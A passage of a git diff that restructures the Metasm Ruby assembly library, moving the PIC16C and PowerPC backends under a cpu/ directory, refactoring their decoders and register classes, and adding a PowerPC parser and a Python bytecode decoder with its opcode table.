+    addop_macro2 'jnz', 0
+    addop_macro2 'jz',  1
+    addop_macro2 'jnc', 2
+    addop_macro2 'jc',  3
+    addop_macro2 'jb',  4	# 'jn' jump if negative => jl unsigned ?
+    addop_macro2 'jge', 5
+    addop_macro2 'jl',  6
+    addop_macro2 'jmp', 7, :stopexec
+
+    addop 'ret', 0x4130, :setip, :stopexec	# mov pc, [sp++]
+    addop 'pop', 0x4130, :rd, :ad		# mov rd, [sp++]
+
+    addop_macro3 'mov', 4
+    addop_macro3 'add', 5
+    addop_macro3 'adc', 6	# 'addc'
+    addop_macro3 'sbc', 7
+    addop_macro3 'sub', 8
+    addop_macro3 'cmp', 9
+    addop_macro3 'dadd',10	# decimal add with carry
+    addop_macro3 'test',11	# 'bit'
+    addop_macro3 'andn',12	# 'bic'
+    addop_macro3 'or',  13	# 'bis'
+    addop_macro3 'xor', 14
+    addop_macro3 'and', 15
+  end
+
+  def addop_macro1(name, bin, *props)
+    if props.delete :byte
+      addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props
+    else
+      addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props
+    end
+  end
+
+  def addop_macro2(name, bin, *props)
+    addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props
+  end
+
+  def addop_macro3(name, bin, *props)
+    addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec	# dst == pc
+    addop_byte name, (bin << 12), :rd, :ad, :as, :rs
+  end
+
+  def addop_byte(name, bin, *props)
+    addop name, bin, *props
+    addop name + '.b', bin | (1 << 6), :byte, *props
+  end
+end
+end
diff --git a/lib/metasm/metasm/pic16c/decode.rb b/lib/metasm/metasm/cpu/pic16c/decode.rb
similarity index 92%
rename from lib/metasm/metasm/pic16c/decode.rb
rename to lib/metasm/metasm/cpu/pic16c/decode.rb
index ec3daa4428..9c8ccfb1e1 100644
--- a/lib/metasm/metasm/pic16c/decode.rb
+++ b/lib/metasm/metasm/cpu/pic16c/decode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/pic16c/opcodes'
+require 'metasm/cpu/pic16c/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -17,22 +17,21 @@ class Pic16c
     }
     op.bin_mask.map! { |v| 255 ^ v }
   end
-  
+
   def build_bin_lookaside
     # sets up a hash byte value => list of opcodes that may match
     # opcode.bin_mask is built here
     lookaside = Array.new(256) { [] }
     @opcode_list.each { |op|
-      
+
       build_opcode_bin_mask op
-      
+
       b   = op.bin[0]
       msk = op.bin_mask[0]
-      
-      
+
       for i in b..(b | (255^msk))
         ext if i & msk != b & msk
-        
+
         lookaside[i] << op
       end
     }
diff --git a/lib/metasm/metasm/pic16c/main.rb b/lib/metasm/metasm/cpu/pic16c/main.rb
similarity index 100%
rename from lib/metasm/metasm/pic16c/main.rb
rename to lib/metasm/metasm/cpu/pic16c/main.rb
diff --git a/lib/metasm/metasm/pic16c/opcodes.rb b/lib/metasm/metasm/cpu/pic16c/opcodes.rb
similarity index 98%
rename from lib/metasm/metasm/pic16c/opcodes.rb
rename to lib/metasm/metasm/cpu/pic16c/opcodes.rb
index cfc96d07cd..3112af715f 100644
--- a/lib/metasm/metasm/pic16c/opcodes.rb
+++ b/lib/metasm/metasm/cpu/pic16c/opcodes.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/pic16c/main'
+require 'metasm/cpu/pic16c/main'
 
 module Metasm
 class Pic16c
diff --git a/lib/metasm/metasm/mips.rb b/lib/metasm/metasm/cpu/ppc.rb
similarity index 60%
rename from lib/metasm/metasm/mips.rb
rename to lib/metasm/metasm/cpu/ppc.rb
index 139c6721f6..16f77e59a8 100644
--- a/lib/metasm/metasm/mips.rb
+++ b/lib/metasm/metasm/cpu/ppc.rb
@@ -5,7 +5,7 @@
 
 
 require 'metasm/main'
-require 'metasm/mips/parse'
-require 'metasm/mips/encode'
-require 'metasm/mips/decode'
-require 'metasm/mips/render'
+require 'metasm/cpu/ppc/parse'
+require 'metasm/cpu/ppc/encode'
+require 'metasm/cpu/ppc/decode'
+require 'metasm/cpu/ppc/decompile'
diff --git a/lib/metasm/metasm/ppc/decode.rb b/lib/metasm/metasm/cpu/ppc/decode.rb
similarity index 91%
rename from lib/metasm/metasm/ppc/decode.rb
rename to lib/metasm/metasm/cpu/ppc/decode.rb
index df70a7b470..923c15265c 100644
--- a/lib/metasm/metasm/ppc/decode.rb
+++ b/lib/metasm/metasm/cpu/ppc/decode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ppc/opcodes'
+require 'metasm/cpu/ppc/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -13,8 +13,8 @@ class PowerPC
     # bit = 0 if can be mutated by an field value, 1 if fixed by opcode
     return if not op.bin.kind_of? Integer
     op.bin_mask = 0
-    op.args.each { |f|
-      op.bin_mask |= @fields_mask[f] << @fields_shift[f]
+    op.fields.each { |k, (m, s)|
+      op.bin_mask |= m << s
     }
     op.bin_mask = 0xffff_ffff ^ op.bin_mask
   end
@@ -37,7 +37,7 @@ class PowerPC
   end
 
   def decode_findopcode(edata)
-    return if edata.ptr >= edata.data.length
+    return if edata.ptr+4 > edata.length
     di = DecodedInstruction.new(self)
     val = edata.decode_imm(:u32, @endianness)
     edata.ptr -= 4
@@ -67,14 +67,20 @@ class PowerPC
       when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a]
       when :ra_i16, :ra_i16s, :ra_i16q
         i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]]
-               Memref.new GPR.new(field_val[:ra]), Expression[i]
-      when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :ma, :mb, :me, :ma_, :mb_, :me_; Expression[field_val[a]]
-      when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :ign_bi, :aa, :lk, :oe, :rc, :l; next
+        Memref.new GPR.new(field_val[:ra]), Expression[i]
+      when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; Expression[field_val[a]]
+      when :ba, :bf, :bfa, :bt; CR.new field_val[a]
+      when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to
+        puts "PPC.decode: unsupported argument #{a.inspect}" if $VERBOSE	# TODO
+        Expression[field_val[a]]
       else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
       end
     }
+
     di.bin_length += edata.ptr - before_ptr
 
+    return if edata.ptr > edata.length
+
     decode_aliases(di.instruction)
 
     di
@@ -84,8 +90,8 @@ class PowerPC
     case i.opname
     when /^n?or\.?$/
       if i.args[1] == i.args[2]
-         i.args.pop
-         i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname]
+        i.args.pop
+        i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname]
       end
     when /^addi/
       if a = i.args[2].reduce and a.kind_of? Integer and a < 0
@@ -107,7 +113,7 @@ class PowerPC
   # else just add the offset +off+ of the instruction + its length (off may be an Expression)
   # assumes edata.ptr points just after the instruction (as decode_instr_op left it)
   # do not call twice on the same di !
- 	def decode_instr_interpret(di, addr)
+  def decode_instr_interpret(di, addr)
     if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a
       arg = Expression[addr, :+, di.instruction.args.last].reduce
       di.instruction.args[-1] = Expression[arg]
@@ -191,11 +197,11 @@ class PowerPC
         ptr = m.pointer.externals.grep(Symbol).first
         ret[ptr] = m.pointer if ptr != a0
         ret
-             }
+      }
       when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } }
       when 'stwu'; lambda { |di, a0, m|
         { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer }
-             }
+      }
       when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } }
       when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me|
         mb, me = mb.reduce, me.reduce
diff --git a/lib/metasm/metasm/ppc/decompile.rb b/lib/metasm/metasm/cpu/ppc/decompile.rb
similarity index 98%
rename from lib/metasm/metasm/ppc/decompile.rb
rename to lib/metasm/metasm/cpu/ppc/decompile.rb
index 7f0cece11f..c042903e29 100644
--- a/lib/metasm/metasm/ppc/decompile.rb
+++ b/lib/metasm/metasm/cpu/ppc/decompile.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ppc/main'
+require 'metasm/cpu/ppc/main'
 
 module Metasm
 class PowerPC
@@ -25,7 +25,7 @@ class PowerPC
   # returns { blockaddr => [list of vars that are needed by a following block] }
   def decompile_func_finddeps(dcmp, blocks, func)
     deps_r = {} ; deps_w = {} ; deps_to = {}
-    deps_subfunc = {} 	# things read/written by subfuncs
+    deps_subfunc = {}	# things read/written by subfuncs
 
     # find read/writes by each block
     blocks.each { |b, to|
@@ -43,7 +43,7 @@ class PowerPC
           end
         }
         #a << :eax if di.opcode.name == 'ret'		# standard ABI
-        
+
         deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b]
         deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
       }
diff --git a/lib/metasm/metasm/ppc/encode.rb b/lib/metasm/metasm/cpu/ppc/encode.rb
similarity index 94%
rename from lib/metasm/metasm/ppc/encode.rb
rename to lib/metasm/metasm/cpu/ppc/encode.rb
index e0008d8d9c..aa2c9a69c4 100644
--- a/lib/metasm/metasm/ppc/encode.rb
+++ b/lib/metasm/metasm/cpu/ppc/encode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ppc/opcodes'
+require 'metasm/cpu/ppc/opcodes'
 require 'metasm/encode'
 
 module Metasm
@@ -31,7 +31,7 @@ class PowerPC
 
     op.args.zip(instr.args).each { |sym, arg|
       case sym
-      when :rs, :rt, :rd
+      when :rs, :rt, :rd, :ba, :bf, :bfa, :bt
         set_field[sym, arg.i]
       when :ft
         set_field[sym, arg.i]
diff --git a/lib/metasm/metasm/ppc/main.rb b/lib/metasm/metasm/cpu/ppc/main.rb
similarity index 80%
rename from lib/metasm/metasm/ppc/main.rb
rename to lib/metasm/metasm/cpu/ppc/main.rb
index cfcfb70cbb..b66385557a 100644
--- a/lib/metasm/metasm/ppc/main.rb
+++ b/lib/metasm/metasm/cpu/ppc/main.rb
@@ -11,10 +11,15 @@ module Metasm
 class PowerPC < CPU
   class Reg
     include Renderable
+    class << self
+      attr_accessor :s_to_i, :i_to_s
+    end
 
     def ==(o)
       o.class == self.class and (not respond_to?(:i) or o.i == i)
     end
+
+    def render ; [self.class.i_to_s[@i]] ; end
   end
 
   # general purpose reg
@@ -24,17 +29,14 @@ class PowerPC < CPU
       @i = i
     end
 
-    Sym = (0..31).map { |i| "r#{i}".to_sym }
-    Sym[1] = :sp
+    @s_to_i = (0..31).inject({}) { |h, i| h.update((i == 1 ? 'sp' : "r#{i}") => i) }
+    @i_to_s = @s_to_i.invert
+    Sym = @s_to_i.sort.transpose.last
     def symbolic ; Sym[@i] end
-    def render ; [@i == 1 ? 'sp' : "r#@i"] end
   end
 
   # special purpose reg
   class SPR < Reg
-    class << self
-      attr_accessor :s_to_i, :i_to_s
-    end
     @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27,
       'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287}
     @i_to_s = @s_to_i.invert
@@ -50,14 +52,15 @@ class PowerPC < CPU
   end
 
   # floating point
-  class FPR
+  class FPR < Reg
     attr_accessor :i
     def initialize(i)
       @i = i
     end
 
-    include Renderable
-    def render ; ["fp#@i"] end
+    @s_to_i = (0..31).inject({}) { |h, i| h.update "fp#{i}" => i }
+    @i_to_s = @s_to_i.invert
+    Sym = @s_to_i.sort.transpose.last
   end
 
   # machine state reg
@@ -73,8 +76,10 @@ class PowerPC < CPU
       @i = i
     end
 
+    @s_to_i = (0..31).inject({}) { |h, i| h.update "cr#{i}" => i }
+    @i_to_s = @s_to_i.invert
+    Sym = @s_to_i.sort.transpose.last
     def symbolic ; "cr#@i".to_sym end
-    def render ; ["cr#@i"] end
   end
 
   # indirection : reg+reg or reg+16b_off
@@ -89,13 +94,13 @@ class PowerPC < CPU
       b = @base.symbolic
       b = nil if b == :r0	# XXX is it true ?
       o = @offset
-      o = o.symbolic if o.kind_of? Reg
+      o = o.symbolic if o.kind_of?(Reg)
       Indirection[Expression[b, :+, o].reduce, 4, orig]
     end
 
     include Renderable
     def render
-      if @offset.kind_of? Reg
+      if @offset.kind_of?(Reg)
         ['(', @base, ' + ', @offset, ')']
       else
         [@offset, '(', @base, ')']
diff --git a/lib/metasm/metasm/ppc/opcodes.rb b/lib/metasm/metasm/cpu/ppc/opcodes.rb
similarity index 97%
rename from lib/metasm/metasm/ppc/opcodes.rb
rename to lib/metasm/metasm/cpu/ppc/opcodes.rb
index da5396b762..1e03e77b9e 100644
--- a/lib/metasm/metasm/ppc/opcodes.rb
+++ b/lib/metasm/metasm/cpu/ppc/opcodes.rb
@@ -4,14 +4,17 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ppc/main'
+require 'metasm/cpu/ppc/main'
 
 module Metasm
 class PowerPC
   def addop(name, bin, *argprops)
-    o = Opcode.new name, bin 
-    o.args.concat(argprops & @fields_mask.keys)
-    (argprops & @valid_props).each { |p| o.props[p] = true }
+    o = Opcode.new name, bin
+    argprops.each { |a|
+      o.args << a if @valid_args[a]
+      o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
+      o.props[a] = true if @valid_props[a]
+    }
     @opcode_list << o
   end
 
@@ -113,6 +116,9 @@ class PowerPC
       :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF,
       :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, :ign_bo_at2 => 0b100111111
 
+    @valid_args = @fields_mask.dup
+    [:ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l].each { |k| @valid_args.delete k }
+
     @fields_shift[:ra_i16]  = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0
     @fields_mask[:ra_i16]  = (@fields_mask[:d]  << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra])
     @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra])
@@ -123,7 +129,7 @@ class PowerPC
     addop_branchcond 'b', 0x40000000, :bd
     addop_branchcond 'b', 0x4C000020, :lr
     addop_branchcond 'b', 0x4C000420, :ctr
-  
+
     addop 'sc',     0x44000002, :lev
     addop 'crand',  0x4C000202, :bt, :ba, :bb
     addop 'crxor',  0x4C000182, :bt, :ba, :bb
diff --git a/lib/metasm/metasm/cpu/ppc/parse.rb b/lib/metasm/metasm/cpu/ppc/parse.rb
new file mode 100644
index 0000000000..e534a79c31
--- /dev/null
+++ b/lib/metasm/metasm/cpu/ppc/parse.rb
@@ -0,0 +1,55 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/ppc/opcodes'
+require 'metasm/parse'
+
+module Metasm
+class PowerPC
+# TODO
+  def parse_arg_valid?(op, sym, arg)
+    case sym
+    when :ra, :rb, :rs, :rt; arg.kind_of?(GPR)
+    when :fra, :frb, :frc, :frs, :frt; arg.kind_of?(FPR)
+    when :ra_i16, :ra_i16s, :ra_i16q; arg.kind_of?(Memref)
+    when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; arg.kind_of?(Expression)
+    when :ba, :bf, :bfa, :bt; arg.kind_of?(CR)
+    when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l; # ?
+    when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to
+      # TODO
+    else raise "internal error: mips arg #{sym.inspect}"
+    end
+  end
+
+  def parse_argument(pgm)
+    pgm.skip_space
+    return if not tok = pgm.readtok
+    if tok.type == :string
+      return GPR.new(GPR.s_to_i[tok.raw]) if GPR.s_to_i[tok.raw]
+      return SPR.new(SPR.s_to_i[tok.raw]) if SPR.s_to_i[tok.raw]
+      return FPR.new(FPR.s_to_i[tok.raw]) if FPR.s_to_i[tok.raw]
+      return CR.new(CR.s_to_i[tok.raw]) if CR.s_to_i[tok.raw]
+      return MSR.new if tok.raw == 'msr'
+    end
+    pgm.unreadtok tok
+    arg = Expression.parse pgm
+    pgm.skip_space
+    # check memory indirection: 'off(base reg)'	# XXX scaled index ?
+    if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '('
+      pgm.readtok
+      pgm.skip_space_eol
+      ntok = pgm.readtok
+      raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and GPR.s_to_i[ntok.raw]
+      base = GPR.new GPR.s_to_i[ntok.raw]
+      pgm.skip_space_eol
+      ntok = pgm.readtok
+      raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')'
+      arg = Memref.new base, arg
+    end
+    arg
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/python.rb b/lib/metasm/metasm/cpu/python.rb
new file mode 100644
index 0000000000..9ef1a00da4
--- /dev/null
+++ b/lib/metasm/metasm/cpu/python.rb
@@ -0,0 +1,8 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+require 'metasm/cpu/python/decode'
diff --git a/lib/metasm/metasm/cpu/python/decode.rb b/lib/metasm/metasm/cpu/python/decode.rb
new file mode 100644
index 0000000000..12bd7a2e0d
--- /dev/null
+++ b/lib/metasm/metasm/cpu/python/decode.rb
@@ -0,0 +1,136 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/python/opcodes'
+require 'metasm/decode'
+
+module Metasm
+class Python
+  def build_bin_lookaside
+    opcode_list.inject({}) { |la, op| la.update op.bin => op }
+  end
+
+  def decode_findopcode(edata)
+    di = DecodedInstruction.new(self)
+
+    byte = edata.decode_imm(:u8, :little)
+
+    di if di.opcode = @bin_lookaside[byte]
+  end
+
+  def decode_instr_op(edata, di)
+    di.bin_length = 1
+
+    di.instruction.opname = di.opcode.name
+
+    di.opcode.args.each { |a|
+      case a
+      when :cmp
+        di.bin_length += 2
+        v = edata.decode_imm(:i16, @endianness)
+        di.instruction.args << (CMP_OP[v] || Expression[v])
+      when :i16
+        di.bin_length += 2
+        di.instruction.args << Expression[edata.decode_imm(:i16, @endianness)]
+      when :u8
+        di.bin_length += 1
+        di.instruction.args << Expression[edata.decode_imm(:u8, @endianness)]
+      else
+        raise "unsupported arg #{a.inspect}"
+      end
+    }
+
+    return if edata.ptr > edata.length
+
+    di
+  end
+
+  def decode_instr_interpret(di, addr)
+    case di.opcode.name
+    when 'LOAD_CONST'
+      if c = prog_code(addr)
+        cst = c[:consts][di.instruction.args.first.reduce]
+        if cst.kind_of? Hash and cst[:type] == :code
+          di.add_comment "lambda #{Expression[cst[:fileoff]]}"
+        else
+          di.add_comment cst.inspect
+        end
+      end
+    when 'LOAD_NAME', 'LOAD_ATTR', 'LOAD_GLOBAL', 'STORE_NAME', 'IMPORT_NAME', 'LOAD_FAST'
+      if c = prog_code(addr)
+        di.add_comment c[:names][di.instruction.args.first.reduce].inspect
+      end
+    end
+    di
+  end
+
+  def backtrace_binding
+    @backtrace_binding ||= init_backtrace_binding
+  end
+
+  def init_backtrace_binding
+    @backtrace_binding ||= {}
+
+    opcode_list.each { |op|
+      binding = case op
+          when 'nop'; lambda { |*a| {} }
+          end
+      @backtrace_binding[op] ||= binding if binding
+    }
+
+    @backtrace_binding
+  end
+
+  def get_backtrace_binding(di)
+    a = di.instruction.args.map { |arg|
+      case arg
+      when Var; arg.symbolic
+      else arg
+      end
+    }
+
+    if binding = backtrace_binding[di.opcode.basename]
+      binding[di, *a]
+    else
+      puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
+      { :incomplete_binding => Expression[1] }
+    end
+  end
+
+  def get_xrefs_x(dasm, di)
+    return [] if not di.opcode.props[:setip]
+
+    arg =	case di.opcode.name
+      when 'JUMP_FORWARD', 'FOR_ITER'
+        # relative offset
+        di.instruction.args.last.reduce + di.next_addr
+      when 'CALL_FUNCTION_VAR'
+        'lol'
+      when /CALL/
+          :unknown
+      else
+        # absolute offset from :code start
+        off = di.instruction.args.last.reduce
+        if c = prog_code(di)
+          off += c[:fileoff]
+        end
+        off
+      end
+
+    [Expression[(arg.kind_of?(Var) ? arg.symbolic : arg)]]
+  end
+
+  def prog_code(addr)
+    addr = addr.address if addr.kind_of? DecodedInstruction
+    @last_prog_code ||= nil
+    return @last_prog_code if @last_prog_code and @last_prog_code[:fileoff] <= addr and @last_prog_code[:fileoff] + @last_prog_code[:code].length > addr
+    @last_prog_code = @program.code_at_off(addr) if @program
+  end
+
+  def backtrace_is_function_return(expr, di=nil)
+    #Expression[expr].reduce == Expression['wtf']
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/python/main.rb b/lib/metasm/metasm/cpu/python/main.rb
new file mode 100644
index 0000000000..f5918a4233
--- /dev/null
+++ b/lib/metasm/metasm/cpu/python/main.rb
@@ -0,0 +1,36 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/main'
+
+module Metasm
+class Python < CPU
+  def initialize(prog = nil)
+    super()
+    @program = prog
+    @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little)
+    @size = (prog.respond_to?(:size) ? prog.size : 32)
+  end
+
+  class Var
+    include Renderable
+
+    attr_accessor :i
+
+    def initialize(i); @i = i end
+
+    def ==(o)
+      o.class == self.class and o.i == i
+    end
+
+    def symbolic; "var_#{@i}".to_sym end
+
+    def render
+      ["var_#@i"]
+    end
+
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/python/opcodes.rb b/lib/metasm/metasm/cpu/python/opcodes.rb
new file mode 100644
index 0000000000..1e55d2fb95
--- /dev/null
+++ b/lib/metasm/metasm/cpu/python/opcodes.rb
@@ -0,0 +1,180 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/python/main'
+
+module Metasm
+class Python
+  CMP_OP = %w[< <= == != > >= in not_in is is_not exch]
+
+  def addop(name, bin, *args)
+    o = Opcode.new(name)
+    o.bin = bin
+
+    args.each { |a|
+      o.args << a if @valid_args[a]
+      o.props[a] = true if @valid_props[a]
+    }
+    o.args << :i16 if o.bin >= 90 and o.props.empty?	# HAVE_ARGUMENT
+
+    @opcode_list << o
+  end
+
+  def init_opcode_list
+    @opcode_list = []
+
+    @valid_args[:u8] = true
+    @valid_args[:i16] = true
+    @valid_args[:cmp] = true
+
+    addop 'STOP_CODE', 0, :stopexec
+    addop 'POP_TOP', 1
+    addop 'ROT_TWO', 2
+    addop 'ROT_THREE', 3
+    addop 'DUP_TOP', 4
+    addop 'ROT_FOUR', 5
+    addop 'NOP', 9
+
+    addop 'UNARY_POSITIVE', 10
+    addop 'UNARY_NEGATIVE', 11
+    addop 'UNARY_NOT', 12
+    addop 'UNARY_CONVERT', 13
+
+    addop 'UNARY_INVERT', 15
+
+    addop 'BINARY_POWER', 19
+
+    addop 'BINARY_MULTIPLY', 20
+    addop 'BINARY_DIVIDE', 21
+    addop 'BINARY_MODULO', 22
+    addop 'BINARY_ADD', 23
+    addop 'BINARY_SUBTRACT', 24
+    addop 'BINARY_SUBSCR', 25
+    addop 'BINARY_FLOOR_DIVIDE', 26
+    addop 'BINARY_TRUE_DIVIDE', 27
+    addop 'INPLACE_FLOOR_DIVIDE', 28
+    addop 'INPLACE_TRUE_DIVIDE', 29
+
+    addop 'SLICE', 30
+    addop 'SLICE_1', 31
+    addop 'SLICE_2', 32
+    addop 'SLICE_3', 33
+
+    addop 'STORE_SLICE', 40
+    addop 'STORE_SLICE_1', 41
+    addop 'STORE_SLICE_2', 42
+    addop 'STORE_SLICE_3', 43
+
+    addop 'DELETE_SLICE', 50
+    addop 'DELETE_SLICE_1', 51
+    addop 'DELETE_SLICE_2', 52
+    addop 'DELETE_SLICE_3', 53
+
+    addop 'STORE_MAP', 54
+    addop 'INPLACE_ADD', 55
+    addop 'INPLACE_SUBTRACT', 56
+    addop 'INPLACE_MULTIPLY', 57
+    addop 'INPLACE_DIVIDE', 58
+    addop 'INPLACE_MODULO', 59
+    addop 'STORE_SUBSCR', 60
+    addop 'DELETE_SUBSCR', 61
+
+    addop 'BINARY_LSHIFT', 62
+    addop 'BINARY_RSHIFT', 63
+    addop 'BINARY_AND', 64
+    addop 'BINARY_XOR', 65
+    addop 'BINARY_OR', 66
+    addop 'INPLACE_POWER', 67
+    addop 'GET_ITER', 68
+
+    addop 'PRINT_EXPR', 70
+    addop 'PRINT_ITEM', 71
+    addop 'PRINT_NEWLINE', 72
+    addop 'PRINT_ITEM_TO', 73
+    addop 'PRINT_NEWLINE_TO', 74
+    addop 'INPLACE_LSHIFT', 75
+    addop 'INPLACE_RSHIFT', 76
+    addop 'INPLACE_AND', 77
+    addop 'INPLACE_XOR', 78
+    addop 'INPLACE_OR', 79
+    addop 'BREAK_LOOP', 80
+    addop 'WITH_CLEANUP', 81
+    addop 'LOAD_LOCALS', 82
+    addop 'RETURN_VALUE', 83
+    addop 'IMPORT_STAR', 84
+    addop 'EXEC_STMT', 85
+    addop 'YIELD_VALUE', 86
+    addop 'POP_BLOCK', 87
+    addop 'END_FINALLY', 88
+    addop 'BUILD_CLASS', 89
+
+    #addop 'HAVE_ARGUMENT', 90      #/* Opcodes from here have an argument: */
+
+    addop 'STORE_NAME', 90      #/* Index in name list */
+    addop 'DELETE_NAME', 91      #/* "" */
+    addop 'UNPACK_SEQUENCE', 92      #/* Number of sequence items */
+    addop 'FOR_ITER', 93, :setip
+    addop 'LIST_APPEND', 94
+
+    addop 'STORE_ATTR', 95      #/* Index in name list */
+    addop 'DELETE_ATTR', 96      #/* "" */
+    addop 'STORE_GLOBAL', 97      #/* "" */
+    addop 'DELETE_GLOBAL', 98      #/* "" */
+    addop 'DUP_TOPX', 99      #/* number of items to duplicate */
+    addop 'LOAD_CONST', 100     #/* Index in const list */
+    addop 'LOAD_NAME', 101     #/* Index in name list */
+    addop 'BUILD_TUPLE', 102     #/* Number of tuple items */
+    addop 'BUILD_LIST', 103     #/* Number of list items */
+    addop 'BUILD_SET', 104     #/* Number of set items */
+    addop 'BUILD_MAP', 105     #/* Always zero for now */
+    addop 'LOAD_ATTR', 106     #/* Index in name list */
+    addop 'COMPARE_OP', 107, :cmp     #/* Comparison operator */
+    addop 'IMPORT_NAME', 108     #/* Index in name list */
+    addop 'IMPORT_FROM', 109     #/* Index in name list */
+    addop 'JUMP_FORWARD', 110, :setip, :stopexec     #/* Number of bytes to skip */
+
+    addop 'JUMP_IF_FALSE_OR_POP', 111, :setip #/* Target byte offset from beginning of code */
+    addop 'JUMP_IF_TRUE_OR_POP', 112, :setip #/* "" */
+    addop 'JUMP_ABSOLUTE', 113, :setip, :stopexec     #/* "" */
+    addop 'POP_JUMP_IF_FALSE', 114, :setip   #/* "" */
+    addop 'POP_JUMP_IF_TRUE', 115, :setip    #/* "" */
+
+    addop 'LOAD_GLOBAL', 116     #/* Index in name list */
+
+    addop 'CONTINUE_LOOP', 119     #/* Start of loop (absolute) */
+    addop 'SETUP_LOOP', 120     #/* Target address (relative) */
+    addop 'SETUP_EXCEPT', 121     #/* "" */
+    addop 'SETUP_FINALLY', 122     #/* "" */
+
+    addop 'LOAD_FAST', 124     #/* Local variable number */
+    addop 'STORE_FAST', 125     #/* Local variable number */
+    addop 'DELETE_FAST', 126     #/* Local variable number */
+
+    addop 'RAISE_VARARGS', 130     #/* Number of raise arguments (1, 2 or 3) */
+    #/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */
+    addop 'CALL_FUNCTION', 131, :u8, :u8, :setip     #/* #args + (#kwargs<<8) */
+    addop 'MAKE_FUNCTION', 132     #/* #defaults */
+    addop 'BUILD_SLICE', 133     #/* Number of items */
+
+    addop 'MAKE_CLOSURE', 134     #/* #free vars */
+    addop 'LOAD_CLOSURE', 135     #/* Load free variable from closure */
+    addop 'LOAD_DEREF', 136     #/* Load and dereference from closure cell */
+    addop 'STORE_DEREF', 137     #/* Store into cell */
+
+    #/* The next 3 opcodes must be contiguous and satisfy (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1  */
+    addop 'CALL_FUNCTION_VAR', 140, :u8, :u8, :setip  #/* #args + (#kwargs<<8) */
+    addop 'CALL_FUNCTION_KW', 141, :u8, :u8, :setip  #/* #args + (#kwargs<<8) */
